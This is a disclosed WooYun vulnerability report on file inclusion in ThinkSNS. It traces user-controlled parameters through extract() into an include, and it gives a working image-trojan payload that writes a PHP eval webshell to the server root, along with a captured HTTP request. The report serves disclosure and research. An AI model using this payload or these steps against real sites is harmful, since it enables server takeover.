当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-057567

漏洞标题:ThinkSNS任意文件包含2(可getshell)

相关厂商:ThinkSNS

漏洞作者: Ano_Tom

提交时间:2014-04-18 14:25

修复时间:2014-07-17 15:29

公开时间:2014-07-17 15:29

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-18: 细节已通知厂商并且等待厂商处理中
2014-04-18: 厂商已经确认,细节仅向厂商公开
2014-04-21: 细节向第三方安全合作伙伴开放
2014-06-12: 细节向核心白帽子及相关领域专家公开
2014-06-22: 细节向普通白帽子公开
2014-07-02: 细节向实习白帽子公开
2014-07-17: 细节向公众公开

简要描述:

对用户可控的数据未作足够过滤,结合变量覆盖漏洞直接getshell

详细说明:

问题,今天早上无聊又打开thinksns代码查看了一番
之前提交的漏洞,不知道厂商是怎么修复的
无意中看到这样的代码
/thinksns/apps/weiba/Lib/Widget/WeibaReplyWidget/WeibaReplyWidget.class.php 199行左右
看到了这样一个变量获取方式,

1.png


如此获取变量的方式,是非常糟糕的。看EasyTalk的用户提升漏洞
WooYun: Easytalk垂直权限问题(逻辑漏洞可提权getshell)
他获取变量的方式是这样的,$userdata=$_POST["user"];造成权限提升漏洞
很明显,这样是很糟糕的。
那继续跟踪$var,但首先得搞清楚这个变量是从哪里get来的。仔细分析代码,
是在微吧里,如果用户a发了一个帖子,然后用户b回复了a的帖子,那再对b的回帖进行回复时,则触发了请求。

2.png


审查元素,数据是js动态传递的

3.png


js代码为

reply_reply:{ //点某条回复 
click:function(){
var attrs = M.getEventArgs(this);
ui.box.load(U('widget/WeibaReply/reply_reply')+'&widget_appname=weiba'+'&weiba_id='+attrs.weiba_id+'&post_id='+attrs.post_id+'&post_uid='+attrs.post_uid+'&to_reply_id='+attrs.to_reply_id+'&to_uid='+attrs.to_uid+'&to_comment_uname='+attrs.to_comment_uname+'&feed_id='+attrs.feed_id+'&addtoend='+attrs.addtoend+'&comment_id='+attrs.comment_id,L('PUBLIC_RESAVE'),function(){
$('#at-view').hide();
});
}
},


4.png


参数太多太繁杂,设置代理,用burpsuite查看连接请求,请求内容大致如下

GET /xxx/thinksns/index.php?app=widget&mod=WeibaReply&act=reply_reply&widget_appname=weiba&weiba_id=1&post_id=1&post_uid=2&to_reply_id=1&to_uid=3&to_comment_uname=test02&feed_id=4&addtoend=0&comment_id=1&_=1397798603367 HTTP/1.1
Host: x.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://x.com/xxx/thinksns/index.php?app=weiba&mod=Index&act=postDetail&post_id=1
Cookie: kio__user_login=7evb2cbXzuXQzcKTy87U5OfgyMrUrencncjX0IqjpejX2trg3OrPzcKTnMub2tqqn5mZpKvO1Jqblc3L2t3byJiapdmjo8mZmc2Js6Xr0MvHyqOdkKCVuKrG1aPD1uHS2eTMnpqWk4mQz-Hky9bg4Ji5w4WekZqjmM_Fvp2dqJjd5Z-am5eYoZi9zMrU3Kedn5aYk5qYqZi80NnO0-fjnpegkZk.; PHPSESSID=7igshj6u03ut4b2ihur7dvmbu3; T3_online_update=1397798589; T3_TSV3_LOGGED_USER=Ght4WQbI0iDrTZqHIste52cjneyh50IO; T3_TSV3_ACTIVE_TIME=1397798609
Connection: keep-alive


载入repeater进行变量的追踪调试
在reply_reply()函数里添加var_dump($var);die;//查看响应

5.png


成功返回了用户添加的自定义变量,然后继续跟踪,变量进入了
$this->renderFile(dirname(__FILE__)."/reply_reply.html",$var);中
跟踪该函数
代码/thinksns/core/OpenSociax/Widget.class.php 73行左右

protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
$var['ts'] = $GLOBALS['ts'];
if (! file_exists_case ( $templateFile )) {
// 自动定位模板文件
// $name = substr ( get_class ( $this ), 0, - 6 );
// $filename = empty ( $templateFile ) ? $name : $templateFile;
// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
// if (! file_exists_case ( $templateFile ))
throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
}
// var_dump($var);die;//第二步,到了这里了
$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );
$content = fetch($templateFile,$var,$charset);
return $content;
}
}


继续dump $var变量,跟踪,变量又进入了fetch函数里了
根据之前的漏洞测试,前提交的thinksns漏洞,不知道厂商是如何修复的,
此处按官方的原版函数
代码/thinksns/core/OpenSociax/functions.inc.php 939行左右
此函数不分析,上个漏洞已经有流程了,直接在最后

// var_dump($tvar);die;
extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;


输出变量,查看用户可控的变量是否还在,结果如图

6.png


为了测试方便直接在目录上放置图片木马,成功包含后,会在根目录下生成一句话木马,具体的拿shell方法跟上个漏洞所提的方法一样。
注册普通用户,上传图片木马,图片木马嵌入代码为
gif89a<?php file_put_contents("hi.php","<?php @eval(\$_POST[a])?>");?>
2.上传图片,获得图片后,执行包含,则在根目录下生成hi.php

7.png

漏洞证明:

如上详细描述

修复方案:

首先变量那样获取是很糟糕的,其次是那个函数问题,酌情修复吧:)

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-04-18 14:38

厂商回复:

和上一个是同一个bug,所以,稍微给你降一点分值吧。非常感谢!这个得在核心修复才能解决其他地方可能出现同类问题。

最新状态:

暂无